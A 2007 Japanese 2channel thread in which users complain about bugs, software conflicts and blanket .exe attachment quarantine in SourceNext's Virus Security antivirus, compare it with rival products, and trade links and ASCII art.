910 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/24(火) 18:44:49 ] オンラインスキャンして異常無しの状態から 中古パソコンに入れて1週間ほどで 他のセキュリティソフトに変えたら 早速2個見つかった 軽さは最高にいいんだけどな 残念だ
911 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/24(火) 21:25:54 ] キングfreeの人柱になってください
912 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/24(火) 23:38:57 ] >>910 VSをアンインストールしたことで多数の不具合から開放されたので むしろ喜ぶべき。
913 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/24(火) 23:39:22 ] >>910 VSをアンインストールしたことで多数の不具合から開放されたので むしろ喜ぶべき。
914 名前:名無しさん@お腹いっぱい。 [2007/07/25(水) 02:20:06 ] いや、ほんと! 不具合多いなSpybot - S&D を入れてるけど先月もアップデートしたら K7SysMon.exeのアプリエラー出て、再起動するとこんどはCPUが100%のまま VSを再インストールすると毎回起動直後K7SysMon.exeエラー CD-ROMも認識激遅 アプリの追加と削除も激遅
915 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/25(水) 02:24:56 ] 懐かしいなぁ、おっと、とっと夏だぁぜぇ〜♪の奴だろ?
916 名前:名無しさん@お腹いっぱい。 [2007/07/25(水) 03:21:39 ] 「Script.Inf.Ultras.c」 こんなの検出されてたんだけど、何これ? ちなみに未処理。
917 名前:名無しさん@お腹いっぱい。 [2007/07/25(水) 04:22:49 ] そりゃヤバすぎだ罠
918 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/25(水) 10:37:54 ] ┏┓ ┏┓ ┏┓ ┏┓ ┏┳┳┓ ┏━━━┛┃ ┏┓ ┏┳━━━┛┣┓ ┏━┛┗━┓ ┏┓ ┏┓ ┏┓ ┏┓┏━━┛┗┓┏┓┃┃┃┃ ┗━┓┏┳┻━┛┣━┛┣━┓┏┳┛┗━┳┳┳╋━┓┏━╋━┛┗┳━┛┗┳━┛┗┳━┛┗╋━┓ ┏┻┛┗┫┃┃┃ ┃┃┗━┓┏┻┓┏┛ ┃┃┗┓┏┓┃┃┃┣┓┃┃┏╋┓ ┏┻┓ ┏┻┓ ┏┻┓ ┏┛ ┃┃┃┏━┓┃┃┃┃ ┃┃ ┃┃ ┃┃ ┃┃ ┃┃┗╋┻┛┃┃┃┃┃┣┛┃┃┏┛┃┃┏┛┃┃┏┛┃┃┏━┛┃┣╋━┛┣╋╋┫ ┗┛ ┗┛ ┗┛ ┗┛ ┗┛ ┗━━┻┛┗┛┗┻━┻┛┗━┻┛┗━┻┛┗━┻┛┗━━┻┛┗━━┻┻┻┛
919 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/25(水) 17:12:00 ] 届いたオプチプレックスに早速ぶち込んだらexplorer.exeが 動かなくなった。手動でも動かない。 初期化して終了。
920 名前:名無しさん@お腹いっぱい。 [2007/07/25(水) 20:26:53 ] 糞の割に安くはないが他より幾分安い 全然使い物にならんという訳ではない (PCにセキュリテイ以外のデメリットは多いがセキュリティに関しては セキュリテイソフトを何も入れてないよりマシ) ↑ けどよく売れてるな それだけ馬鹿が多いのか!
921 名前:916 [2007/07/25(水) 20:31:00 ] インターネット一時ファイル削除後ノートン無料オンライン試すも検出されず。
922 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/25(水) 20:58:03 ] ┏┓ ┏┓ ┏┓ ┏┓ ┏┳┳┓ ┏━━━┛┃ ┏┓ ┏┳━━━┛┣┓ ┏━┛┗━┓ ┏┓ ┏┓ ┏┓ ┏┓┏━━┛┗┓┏┓┃┃┃┃ ┗━┓┏┳┻━┛┣━┛┣━┓┏┳┛┗━┳┳┳╋━┓┏━╋━┛┗┳━┛┗┳━┛┗┳━┛┗╋━┓ ┏┻┛┗┫┃┃┃ ┃┃┗━┓┏┻┓┏┛ ┃┃┗┓┏┓┃┃┃┣┓┃┃┏╋┓ ┏┻┓ ┏┻┓ ┏┻┓ ┏┛ ┃┃┃┏━┓┃┃┃┃ ┃┃ ┃┃ ┃┃ ┃┃ ┃┃┗╋┻┛┃┃┃┃┃┣┛┃┃┏┛┃┃┏┛┃┃┏┛┃┃┏━┛┃┣╋━┛┣╋╋┫ ┗┛ ┗┛ ┗┛ ┗┛ ┗┛ ┗━━┻┛┗┛┗┻━┻┛┗━┻┛┗━┻┛┗━┻┛┗━━┻┛┗━━┻┻┻┛
923 名前:名無しさん@お腹いっぱい。 [2007/07/25(水) 21:48:27 ] www.inazuma7.jp/code/index.php
924 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 04:43:07 ] おまじない、みたいなもんか
925 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 15:02:21 ] そらそうよ
926 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 19:52:14 ] いきなり勢い落ちすぎ、キング対策会議でもしてるのかにゃ でも本気で考えないとヤバイとは思う まぁでもあれはパッケないからそんなシェアに影響を及ぼすほどではないよ まずウイルスキラーの3ユーザーパックに対抗しないと死ぬ ウイルスセキュリティと同じ値段で3台だから馬鹿らしくてこっち買わない
927 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 20:35:06 ] 価格をあわせてもいらないのではジャマika
928 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 21:27:19 ] これ買うような馬鹿は性能とか気にしないから
929 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 22:15:24 ] ttp://www.sevendata.co.jp/renraku/ex/20070518error.html ソースネクストの「ウィルスセキュリティZERO(ゼロ)」で頻発するトラブルについて
930 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 22:21:30 ] ttp://www.amazon.co.jp/gp/bestsellers/software/1040116/ キラーにしとけって
931 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/26(木) 22:26:53 ] キング良いな
932 名前:名無しさん@お腹いっぱい。 [2007/07/27(金) 00:13:40 ] 競馬ソフトでも不具合連発の「ウィルスセキュリティ」 ttp://www.ouma.jp/spirit/fuguai.html ttp://homepage2.nifty.com/~blitz/oshirase.html >ソースネクスト社製のウィルス対策ソフト(「ウイルスセキュリティ」等)に問題があり、 >それをお使いの方は、多くのJRA-VAN対応ソフトで、JRA-VANデータの取得が >不安定(I/Oエラーが出る)になっています。 >ソースネクスト社製のウイルスセキュリティを利用されている場合、データ登録中に >エラーが発生する場合があります。
933 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 00:17:48 ] ∧∧∧∧∧∧∧∧∧∧ / l \ \ ヽ < ┌┐ _ _ > / .:/ | | .:. :ヽ :\ .ヽ ヽ ', < ││ ┌┘└┘└┐> / / .: :| .:/ .:.:| |: 、.:.:.:.\ :.:ヽ :| :.:', | < ││ │┐┌┐┌┘> l l | .:.: .:.! .:ハ/: :∧|:.:. :\:.:.:.lヽ:.:.:\:..:| :.:.:|: | < ││ └┘││ > | | |: .:| :.:|_;.|_|_|__乂:.:.: .:`廾十 ト-:、ヽ:| :.:.:|: | < ││ // > lハ ト、 -K|ヾ/\` \:.:.:.:.:.}_ /\ハ/l :.:.!: | < ││  ̄_ > ヾ;.\:.| , /(・) \ヽ、ヽ.:.:./ /(・) 〉、 { .:.|: | < ││ // > N ヾ \_/ ノ/ \_/ノ し|.. :|: | < ││ / | > | ヘ :. ∠ ⌒.:⌒ /:',. /: ', < ││ //|| > ∧ ハ :ヘ ゚ :::::::r〜〜‐、ヽ ::::::::::: / .:.:. .:./.:.: ヽ < ││  ̄ || > / .:.:.:| :.:', :)jjjjjjjjjjjヽヽ / .:.:.:.:.:/:.:.:.:.. \ <  ̄  ̄ > / .: :.:.| ヽ |,, || / .:.: .:/:.:.:.:.\:. \ <. ロロ┌┐ ┌┐ >. .:.:.:.:.:.:.:.:.:| :.:.\ ヽiiiiiiiii// / .:.:.:.:.:.:{:.:.:.:.:.:.:.:\:.:. ヽ < ┌┘│ ││ >.:.:.:.:/  ̄ Y :.:.:.:.> 、ヽ〜〜 , イ ..:.:.: .,〜ヽー.:.\:. ', <  ̄ ̄ │└─┐ >.:.:.:/、 } .:.:.:.:.:.∨ヽ、__,,,_-' { .:. 〜 ノ ̄\ l:.:.:.:.l < ┌┐┌┐ │┌─┘ >.:./ \ / .:.:.:.:.:.:.:〉]::::::: [ | ..:.:.:.:’ノ⌒⌒⌒⌒〉〉 < ││││ ││ > { Y∫ < ││││ ││ > < └┘└┘  ̄ > < [] [] > ∨∨∨∨∨∨∨∨∨∨∨
934 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 00:26:09 ] ‖ ___ ‖ / `ヽ‖ ,:' 、ゑ ,' ; i 八、 |,! 、 ,! | ,' ,〃ヽ!;、 |!| l川 l リへ'==二二ト、 リ川 !| i′ ゙、 ', ', lルl ||,レ′ ヽ ,ノ ,〉 |川'、 ,,.,.r'" ,,ン゙ `T" ! ,/ '.ノ,/| / ,!´ !゙ヾ{ | / ,' i ゙ ! ,l゙ ,r‐'ヽ-、! ', l| { `ヽ ! 「゙フ ,>┬―/ ; i,`{ / /リ川' ', ゙、 / ,/ ゙、 ゙、 ノ / ', `、 \_/ ; ゙、ヽ、 l__ ! ___〕 ,、l  ̄`‐┬―r┬‐r'´ `'‐'′ | .! | | | | .| | | j | ! | Y ,) ! 〈 / | ! / '、 /ー' `''"
935 名前:名無しさん@お腹いっぱい。 [2007/07/27(金) 00:36:21 ] 2ユーザー分買っちゃったけど、レジストリ問題で、 泣く泣くアンインストールしました。 そしてキングFreeにしました。
936 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 00:40:52 ] >>935 サポートにメールすれば、返品・返金してくれるよ。 本来、返品には30日以内でレシートが必要だけど、 製品の不具合によるものだから、1ヶ月以上経ってたりレシートがなくても対応してくれるよ。
937 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 00:45:20 ] ┏┓ ┏┓ ┏┓ ┏┓ ┏┳┳┓ ┏━━━┛┃ ┏┓ ┏┳━━━┛┣┓ ┏━┛┗━┓ ┏┓ ┏┓ ┏┓ ┏┓┏━━┛┗┓┏┓┃┃┃┃ ┗━┓┏┳┻━┛┣━┛┣━┓┏┳┛┗━┳┳┳╋━┓┏━╋━┛┗┳━┛┗┳━┛┗┳━┛┗╋━┓ ┏┻┛┗┫┃┃┃ ┃┃┗━┓┏┻┓┏┛ ┃┃┗┓┏┓┃┃┃┣┓┃┃┏╋┓ ┏┻┓ ┏┻┓ ┏┻┓ ┏┛ ┃┃┃┏━┓┃┃┃┃ ┃┃ ┃┃ ┃┃ ┃┃ ┃┃┗╋┻┛┃┃┃┃┃┣┛┃┃┏┛┃┃┏┛┃┃┏┛┃┃┏━┛┃┣╋━┛┣╋╋┫ ┗┛ ┗┛ ┗┛ ┗┛ ┗┛ ┗━━┻┛┗┛┗┻━┻┛┗━┻┛┗━┻┛┗━┻┛┗━━┻┛┗━━┻┻┻┛
938 名前:名無しさん@お腹いっぱい。 [2007/07/27(金) 00:45:49 ] はぁ? 嘘つくなよ、馬鹿
939 名前:名無しさん@お腹いっぱい。 [2007/07/27(金) 02:28:37 ] プログラムバージョンが 9.4.0064 のままです。 至急対応お願いします。
940 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 16:02:58 ] >>932 2007年6月8日追記 ソースネクスト社から連絡が来ました。周囲の評判から予想はしていたのですが、 ソースネクスト社自身では検証する気が全くなく、 「こちら側でウィルスセキュリティのデバッグのための検証をしてくれ」という 誠意のかけらもない、丸投げの対応でした。 残念ですが、ソースネクスト社のデバッグ作業に協力することはできません。 ↑ すげぇ。余所様に対して、ウチのソフトで問題が起きるのならどんな状況で起きるのかレポートしてくれって?
941 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 16:16:34 ] ソースネクストの「ウィルスセキュリティZERO(ゼロ)」で頻発するトラブルについて 現在株の達人では下記のようなトラブルが発生しており、その原因がソースネクスト社から発売されている 「ウィルスセキュリティゼロ」というセキュリティソフトとの競合によるものと判明しております。 現在「ウィルスセキュリティゼロ」をお使いの方で、下記のようなトラブルが発生している方はご連絡ください。 また、今後セキュリティソフトの買い替えをご検討中の方は 現時点では「ウィルスセキュリティゼロ」以外のソフトをご検討いただきますようお願いいたします。 リアルタイム一覧でページをめくるとフリーズしてしまう →「ウィルスセキュリティゼロ」を削除する必要があります リアルタイム受信中にチャート画面で次の銘柄へ移動するとフリーズしてしまう →「ウィルスセキュリティゼロ」を削除する必要があります
942 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 16:40:03 ] ttp://www.amazon.co.jp/gp/bestsellers/software/1040116/ キラーにしとけって
943 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 18:18:33 ] ウイルスセキュリティって、メールの添付ファイル全てを悪質と見なして隔離するのか? ふざけんじゃねぇよ
944 名前:943 mailto:sage [2007/07/27(金) 19:18:25 ] ちくしょう EXEの添付ファイルは全てウイルス扱いかよ。ZIPで固めてもダメ、lzhでもダメかよ。 CDに焼きだして、ISOにして、それを添付したら送れた。 受信メールにウイルスが見つかりました、じゃねぇよ 中身なんにもチェックして無いじゃないか 悪質なファイルが添付されており、隔離です。じゃねぇよ
945 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 19:53:55 ] >>944 酷ぇな、拡張子判断かよw たぶん暗号化したら駆除されないだろう 7zにするとかな
946 名前:943 mailto:sage [2007/07/27(金) 20:16:22 ] >>945 一応、中身をチェックして実行形式のファイルと判断したら、即隔離の仕様。 先頭部分しか読んでないだろうけど。 だから、拡張子だけをex_等にしても無意味。 つまり、ウイルスでもなんでもないファイルだとしても、 exe形式だったらウイルスが見つかったと申告して隔離。ふざけんなよ。 zipでパスワードかければ受信出来たかもね。
947 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 20:51:40 ] それでもキラーよりはマシだな。
948 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 21:07:42 ] それでもキングよりはマシだろう。
949 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 21:11:44 ] 似たようなもんだろ。どれも差がほとんどないぐらいゴミ ただキングは無料な分サイフが助かると言うだけで
950 名前:名無しさん@お腹いっぱい。 [2007/07/27(金) 21:31:09 ] 金取った上に不具合が多いVSとキラーはウンコ以下
951 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/27(金) 21:55:16 ] 消費者センターに通報した方がよくね
952 名前:943 mailto:sage [2007/07/28(土) 00:04:39 ] ttps://www.sourcenext.com/faq/action/faqdetails?no=VS-00519 Q. 【ウイルスセキュリティ2006】メールの添付ファイルが隔離されてしまう。 A. 実行ファイル(.exeファイル)などを送受信する際に、悪質な添付ファイルとして認識され、 自動的に隔離される場合があります。 「場合があります。」じゃ無くって、 こっちで試した限りじゃ、exe形式のファイルを検出したら 問答無用でウイルス扱いされて隔離なんだがな。
953 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 00:10:53 ] そんな顔してもダメなものはダメ!!
954 名前:名無しさん@お腹いっぱい。 [2007/07/28(土) 11:11:03 ] 「Checkmark Anti-Virus Disinfection」 (旧名称:Checkmark Anti−Virus Level2)認証を取得しましたが何か?
955 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 11:29:42 ] キング試用版にしたら仮想CDの認識が50秒から1秒になったYO
956 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 12:03:44 ] >>954 VB100% 獲ってから言えよ!
957 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 17:36:51 ] >>955 キングがどうこうじゃなくて ウイルスセキュリティが群を抜いておかしいだけだから てかキングなら無料版を使えばいいのに。ウイルスセキュリティと同等でタダ >>956 VB100を取れてないのはキングでウイルスセキュリティは取れてる ウイルスセキュリティが取れてないのはCheckmarkのTrojan
958 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 18:08:51 ] >>957 6ヶ月無料版より広告付き無料版のがええの?
959 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 19:22:24 ] >>958 どうだろ。検出力等は一緒らしいけどね。内容は微妙に違う 6ヶ月体験版を使い回した方が鬱陶しくはないかも知れない ただ無料版は必要のない物まで強制的にインストールさせるから 使い勝手は有料版の方がいいかも ってここはVSスレか・・・
960 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 22:03:35 ] 受信メールにexe形式のファイルが添付されていた場合、 中身の如何に関わらず、ウイルスとして検出隔離されます。
961 名前:名無しさん@お腹いっぱい。 [2007/07/28(土) 22:04:20 ] さすが安心設計だなw
962 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 22:26:49 ] 歯はたてないようにな。
963 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/28(土) 23:33:27 ] ソースの株価が今週末、すげぇ落ちたけど何かあった?
964 名前:名無しさん@お腹いっぱい。 [2007/07/29(日) 00:12:42 ] キングFreeの影響?
965 名前:名無しさん@そうだ選挙に行こう mailto:sage [2007/07/29(日) 00:49:22 ] 本番前に言うなよ
966 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/29(日) 01:20:40 ] >>965 お前キラーユーザだろ?
967 名前:名無しさん@そうだ選挙に行こう mailto:sage [2007/07/29(日) 01:42:06 ] 音波は勘弁して。